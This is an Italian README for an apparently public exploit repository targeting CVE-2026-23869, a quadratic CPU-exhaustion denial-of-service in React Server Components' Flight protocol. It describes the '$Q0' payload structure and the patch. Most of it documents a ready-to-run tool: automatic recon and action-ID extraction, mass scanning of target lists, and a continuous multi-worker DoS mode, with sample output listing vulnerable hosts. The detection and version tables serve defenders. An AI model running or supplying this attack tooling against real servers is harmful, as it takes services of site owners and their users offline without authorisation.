
Strumento di sfruttamento automatizzato per CVE-2026-23869, un DoS remoto nei React Server Components. Include PoC, template Nuclei e script di scansione per rilevamento e sfruttamento.
Denial-of-Service remoto non autenticato tramite React Flight Protocol
Esaurimento CPU quadratico nella deserializzazione delle Map dei Server Components
Panoramica • Come funziona • Strumenti • Installazione • Utilizzo • Nuclei • Correzione • Disclaimer
| Campo | Dettaglio |
|---|---|
| ID CVE | CVE-2026-23869 |
| Alias | React2DoS |
| Punteggio CVSS | 7.5 (Alto) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Consumo di risorse non controllato) |
| Tipo | Denial of Service remoto non autenticato |
| Scoperto da | Yohann Sillam (Imperva Threat Research) |
| Versioni vulnerabili | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Versioni corrette | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
Esiste una vulnerabilità critica di Denial-of-Service nella deserializzazione del protocollo Flight dei React Server Components. Un attaccante non autenticato può inviare una singola richiesta HTTP appositamente costruita a qualsiasi endpoint Server Action dell'App Router di Next.js, causando un esaurimento CPU quadratico O(n²) che blocca il server per minuti.
consumed mancante nella deserializzazione delle MapIl protocollo Flight di React utilizza marcatori speciali per serializzare i tipi di dati. $Q rappresenta un oggetto Map. Quando il server riceve un payload contenente marcatori $Q0 auto-referenziati:
Payload: [ [1,1], [1,1], ...(n voci valide)..., "$Q0", "$Q0", ...(n riferimenti)... ]
Ogni $Q0 attiva un costruttore new Map() che itera su tutte le n voci valide. Il costruttore Map genera un errore (perché le voci sono malformate), ma il bug critico è: il flag consumed non viene mai impostato in caso di errore.
Ciò significa che il successivo $Q0 ricalcola esattamente la stessa Map da zero → creando una complessità O(n²):
n voci valide × n riferimenti $Q0 = n² chiamate al costruttore Map
Esempio: 65.000 × 65.000 = 4.225.000.000 operazioni
Risultato: una singola richiesta blocca la CPU per 5-10+ minuti
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Attaccante │ ──────────────────────────────────────▶ │ Server Next.js │
│ │ Header: Next-Action: <action_id> │ │
│ │ Body: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% BLOCCATA │
└──────────┘ │ per ~5-10 min │
└──────────────────┘
// ReactFlightReplyServer.js — PRIMA della patch
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Fallisce ma non imposta consumed = true
// Il successivo $Q0 ricalcola da zero
}
// ReactFlightReplyServer.js — DOPO la patch (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Fix: imposta il flag PRIMA della costruzione
return new Map(data); // Previene il ricalcolo ripetuto
}
| File | Descrizione |
|---|---|
poc.py | Strumento di exploit completamente automatico con pipeline a 4 fasi (Recon → Extract → Detect → Exploit) |
# Clona il repository
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Installa la dipendenza Python
pip install requests
# Rendi eseguibili gli script
chmod +x poc.py scan.sh extract-action-ids.sh
# Per la scansione con template Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Per il filtraggio dei target live
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Basta fornire l'URL — lo strumento fa tutto automaticamente:
python3 poc.py -u https://target.com
Cosa succede:
# Scansiona un elenco di domini/IP
python3 poc.py -L targets.txt
# Con report JSON in output
python3 poc.py -L targets.txt -o results.json
# Solo rilevamento sicuro
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Exploit a colpo singolo
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# DoS continuo (10 worker)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL URL del target (target singolo)
-L, --list FILE File con URL/IP dei target (uno per riga)
-a, --action-id ID Server Action ID (salta l'estrazione automatica)
--detect Solo rilevamento — sicuro, non distruttivo (predefinito)
--single Exploit a colpo singolo dopo il rilevamento
--exploit DoS continuo dopo il rilevamento
--extract Estrai solo gli action ID
-l, --length N Voci del payload (predefinito: 130000)
-w, --workers N Worker concorrenti (predefinito: 5)
-d, --delay SEC Ritardo tra le richieste (predefinito: 1.0)
-o, --output FILE Salva report JSON
-t, --threads N Target concorrenti per scansione elenco (predefinito: 3)
La sintassi originale del PoC funziona ancora:
python3 poc.py <ACTION_ID> <URL>
# Target singolo
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# Più target
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# Output pulito (solo risultati vulnerabili)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
Nota: Il flag
-itags dosè obbligatorio perché Nuclei esclude i template DoS per impostazione predefinita per motivi di sicurezza.
Richiesta 1 (GET /) → Rileva l'impronta di Next.js (header + marcatori HTML)
Richiesta 2 (GET /) → Estrae gli Server Action ID da createServerReference()
Richiesta 3 (POST /) → Richiesta di baseline temporale (payload benigno)
Richiesta 4 (POST /) → Sonda di exploit (250 voci valide + 250 voci $Q0)
└─ Se il tempo di risposta ≥ 3s → VULNERABILE
# Esegue httpx → filtra i target live → scansione nuclei → risultati
./scan.sh
# Oppure specifica file personalizzati
./scan.sh targets1.txt targets2.txt
Lo strumento utilizza il rilevamento basato sui tempi per identificare in modo sicuro i server vulnerabili:
Il rilevamento è confermato quando:
multipart/form-data anormalmente grandi contenenti marcatori $Q/CVE-2026-23869-Exploit/
├── README.md # Questo file
├── poc.py # Strumento PoC exploit completamente automatico
├── CVE-2026-23869.yaml # Template di rilevamento Nuclei
├── scan.sh # Scanner automatico httpx + nuclei
└── extract-action-ids.sh # Estrattore autonomo di action ID
╔══════════════════════════════════════════════════╗
║ FASE 1 ▸ RICOGNIZIONE ║
╚══════════════════════════════════════════════════╝
✓ Next.js rilevato (Next.js)
✓ Build ID: abc123def456
✓ App Router: Server Actions rilevati
╔══════════════════════════════════════════════════╗
║ FASE 2 ▸ ESTRAZIONE ACTION ID ║
╚══════════════════════════════════════════════════╝
✓ Trovati 3 Action ID:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ FASE 3 ▸ RILEVAMENTO VULNERABILITÀ ║
╚══════════════════════════════════════════════════╝
[1/2] Baseline: 0.142s
[2/2] Sonda: 7.891s (55.6x baseline)
██ VULNERABILE — CVE-2026-23869 CONFERMATO ██
╔══════════════════════════════════════════════════════════════╗
║ RISULTATI SCANSIONE BATCH ║
╚══════════════════════════════════════════════════════════════╝
Scansionati : 150 target in 45.2s
Vulnerabili : 3
Corretti : 12
Saltati : 135
🔴 TARGET VULNERABILI
─────────────────────────────────────────────────
# TARGET SONDA RAPPORTO
1 vulnerable-app.com 7.89s 55.6x
2 staging.example.com 4.21s 28.1x
3 dev.testsite.org 12.33s 82.2x
⚠️ SOLO PER TEST DI SICUREZZA AUTORIZZATI
Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati. L'uso non autorizzato di questo strumento contro target che non possiedi o per i quali non hai esplicita autorizzazione a testare è illegale e può violare le leggi sulla criminalità informatica (CFAA, CMA, ecc.).
Gli autori non sono responsabili di qualsiasi uso improprio o danno causato da questo strumento. Ottieni sempre la dovuta autorizzazione scritta prima di testare qualsiasi sistema.
Se lo trovi utile, considera di lasciare una ⭐
CVE-2026-23869.yaml | Template di rilevamento Nuclei con orchestrazione basata su flussi |
scan.sh | Script wrapper: filtro live httpx + scansione nuclei |
extract-action-ids.sh | Estrattore autonomo di Server Action ID |
| Metrica | Vulnerabile | Corretto |
|---|
| Baseline (richiesta benigna) | ~0.1-0.5s | ~0.1-0.5s |
| Sonda (500 voci) | 3-10+ secondi | ~0.1-0.5s |
| Rapporto (Sonda/Baseline) | >5x | ~1x |
| Payload completo (130K voci) | 5-10+ minuti | ~0.1-0.5s |
| Pacchetto | Vulnerabile | Corretto |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |